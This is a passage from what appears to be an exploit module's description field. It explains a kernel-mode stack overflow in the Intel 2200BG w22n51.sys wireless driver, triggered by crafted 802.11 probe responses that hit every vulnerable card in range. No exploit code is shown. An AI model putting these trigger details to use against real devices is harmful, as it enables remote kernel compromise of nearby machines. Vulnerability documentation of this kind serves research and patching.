			'Description'    => %q{
				This module exploits a stack overflow in the w22n51.sys driver provided
			with the Intel 2200BG integrated wireless adapter. This stack overflow 
			allows remote code execution in kernel mode. The stack overflow is triggered
			when a 802.11 Probe response frame is received that contains multi vendor specific tag 
			and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000 
			of the  driver and an Intel Centrino 2200BG integrated wireless adapter. Newer
			versions of the w22n51.sys driver are provided from Intel to resolve this flaw.
			Since this vulnerability is exploited via probe response frames, all cards within 
			range of the attack will be affected. 
			
			Vulnerable clients don't need to have their card in a particular state for this exploit 
			to work.
			
			This module depends on the Lorcon library and only works on the Linux platform
			with a supported wireless card. Please see the Ruby Lorcon documentation 
			(external/ruby-lorcon/README) for more information.
